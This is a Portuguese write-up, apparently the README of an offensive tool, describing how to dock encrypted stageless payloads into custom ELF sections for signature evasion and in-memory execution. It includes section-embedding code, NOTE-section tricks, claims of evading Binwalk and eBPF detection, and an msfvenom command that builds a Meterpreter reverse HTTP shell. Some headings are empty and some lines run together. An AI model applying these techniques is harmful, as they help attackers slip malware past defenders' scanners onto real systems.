
Kit de encaixe de seção binária ELF para entrega de payload sem estágio, permitindo anexo de payload em campo, evasão de assinatura e resistência a carregamento estático/dinâmico por meio de manipulação personalizada de seção ELF.
.data.payload.h:
const data[3432] = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23
};
Feito manualmente ou com ferramentas como bin2c ou xxd -i payload.bin > payload.h com inclusão de cabeçalho adicional.
Armazenar payloads em .text e .data de forma genérica também é uma má ideia devido à facilidade de rastreamento de carregamento e introspecção de semântica comportamental do carregamento de dados para execução.
__attribute__. Isso é um pouco melhor, mas ainda bem rastreável devido à forma como o ELF é criado e carregado.char stack[10000] __attribute__ ((section ("binstack"))) = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;
main()
{
/* Initialize stack pointer */
init_sp (stack + sizeof (stack));
/* Initialize initialized data */
memcpy (&init_data, &data, &edata - &data);
}
Uma diretiva do tipo .incbin dependente do montador pode criar uma seção e incorporar um payload.
Ex: gcc -c payload.s ou ld -r -b payload.bin -o payload.o
.section .bindata
.global payload_start
.type payload_start, @object
.section .binddata
.balign 64
payload_start:
.incbin "payload.bin"
.balign 1
payload_end:
.byte 0
Com recuperação posterior no carregador como:
int main(void) {
extern uint8_t payload_start;
uint8_t *ptrPayload = &payload_start;
...
}
Nota: Podemos incluir um ELF totalmente funcional no payload.bin, o que é importante quando se trata de criar binários "gordurosos", contendo elementos de vários kits de ferramentas.
Nota: Existem ferramentas mais ergonômicas para realizar a tarefa, como INCBIN de @graphitemaster [link]
Uma variação do tema é o ASM inline como:
/* Raw image data for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) \
extern char embedded_image_ ## _index ## _data[]; \
extern char embedded_image_ ## _index ## _len[]; \
__asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t" \
"\nembedded_image_" #_index "_data:\n\t" \
".incbin \"" _path "\"\n\t" \
"\nembedded_image_" #_index "_end:\n\t" \
".equ embedded_image_" #_index "_len, " \
"( embedded_image_" #_index "_end - " \
" embedded_image_" #_index "_data )\n\t" \
".previous\n\t" );
EMBED_ALL
/* Image structures for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) { \
.refcnt = REF_INIT ( ref_no_free ), \
.name = _name, \
.data = ( userptr_t ) ( embedded_image_ ## _index ## _data ), \
.len = ( size_t ) embedded_image_ ## _index ## _len, \
},
static struct image embedded_images[] = {
EMBED_ALL
};
Nota: Observe PROGBITS na definição de uma seção, isso será importante.
A inclusão binária de payload baseada em compilador/link ed não é ideal
Há concessões:

O tipo de seção e os sinalizadores definidos na nova seção que a contém determinam se o carregador do SO a carrega na memória ao iniciar o executável. Algumas seções são carregadas automaticamente por padrão, outras não (por exemplo, .symtab, .strtab)
Do ponto de vista ofensivo, quais eficiências podemos obter disso?
Podemos evitar definir sinalizadores em seções que assumem carregamento padrão na memória.
Podemos usar um tipo diferente de seção que não carrega na memória.
Um fornecedor ou engenheiro de sistema pode precisar marcar um arquivo objeto com informações especiais que outros programas possam verificar para conformidade ou compatibilidade. Seções do tipo
SHT_NOTEe elementos de cabeçalho de programa do tipoPT_NOTEpodem ser usados para esse fim.
No último caso, podemos ver o uso deste tipo de seção em binários do sistema:
$ readelf --sections /bin/tar | grep NOTE
[ 2] .note.gnu.bu[...] NOTE 00000000000002c4 000002c4
[ 3] .note.ABI-tag NOTE 00000000000002e8 000002e8
E podemos inspecionar seu conteúdo:
$ readelf -p .note.ABI-tag /bin/tar
String dump of section '.note.ABI-tag':
[ c] GNU
O resultado final da criação de uma seção SHT_NOTE terá esta aparência no ELF:

Bônus: SHT_NOTE nos dá estrutura se precisarmos usá-la (e usaremos mais adiante):

Até agora fomos capazes de criar uma seção, evitando que seja carregada na memória pelo carregador do SO. A seção está efetivamente dormente na imagem ELF no momento. Discutiremos como carregá-la um pouco mais tarde. No entanto, uma questão mais urgente é o fato de que ainda estamos operando no nível do compilador e do vinculador, e a seção é um objeto que é entrelaçado na estrutura do ELF final, criando relacionamentos e endereços de memória a partir do código do carregador que referencia seu conteúdo.

E se fôssemos capazes de criar uma seção ELF com payload incorporado fora do fluxo de trabalho de compilação do carregador, e anexar essa seção posteriormente ao binário do carregador?
Isso quebraria o relacionamento do código do carregador com a interação da seção. Então ensinaríamos o carregador como encontrar e carregar sua seção de dados estrangeira, efetivamente "acoplando" um payload a um carregador de maneira fracamente acoplada.
Conceitualmente, nossos objetivos seriam:
O relacionamento carregador/payload (na seção) agora se pareceria com isso:

Podemos então criar um injetor que introduzirá uma seção de payload ao carregador sem que nenhum dos dois opere no nível de código, apenas compatibilidade binária (e o carregador sabendo como carregar qualquer seção de payload).

Alguns resultados dessa configuração genérica de acoplamento de seção ELF:
Um carregador ELF estático pode então ser distribuído por conta própria, desprovido de payloads, apenas com mecanismos para carregar uma seção sob demanda e inicializar o payload a partir dela.
O payload pode ser empacotado separadamente e agrupado com o carregador a qualquer momento como um estágio estático, ou posteriormente com um injetor. O payload pode frequentemente ser criptografado, muitas vezes ser um executável ELF em si, se necessário, desde que o carregador conheça não a estrutura do payload, mas apenas suas capacidades de empacotamento.
O injetor pode intermediar a anexação de seções de vários binários (estágios dormentes) para construir uma seção e injetá-la no carregador.
Há vantagens na construção no nível de seção versus empacotamento de múltiplos recursos em um executável. Não há sobrecarga de detecção para processamento e código de empacotador. Há ganhos em termos de carregar múltiplas seções com outras ferramentas que dependem de lançamento em memória e não podem ser facilmente empacotadas devido à forma como os empacotadores precisam extrair binários para o sistema de arquivos. (Mais sobre binários "gordurosos" na seção)
Vamos discutir os componentes do acoplamento de seção ELF em mais detalhes.
Disposição: posterior ou em campo Vantagens:
Disposição: em campo Vantagens:
Vantagens:
Fortalecendo o injetor/empacotador ELF seccional:
Fortalecendo o carregador ELF:
Algumas palavras sobre o carregador seccional ELF trabalhando com o lançador de payload:
O carregador pode utilizar um de dois mecanismos de execução de payload em memória:
Opção A: SYS_Memfd_create ()
Opção B: Execução em Userspace (https://grugq.github.io/docs/ul_exec.txt)
Execução do fluxo de trabalho:

Oportunidades de evasão do Binwalk após payload seccional ELF vs. payload MSF:

Evasão de eBPF vs. empacotador seccional ELF:

Verificador e testes YARA:


Definição da ferramenta STIX:

cmake --configure . para configurar seu ambiente de compilação. Suportamos CMAke 3.18 no momento../build.shhttps://github.com/rapid7/mettlevendor/lib/reflect/libreflect.a, mas pode ser recompilada do repositório original, se necessário.bpftrace, instale os cabeçalhos de kernel apropriados para sua distribuição.run.shaux/msfrc como:msfconsole -r aux/triage/msfrc
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ../elfpack_staging/mettle-shell.elf
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
aux/triage/elfpack_yar.py./aux/triage/elfpack_yar.py <caminho/para/arquivo/elf> [elf_section]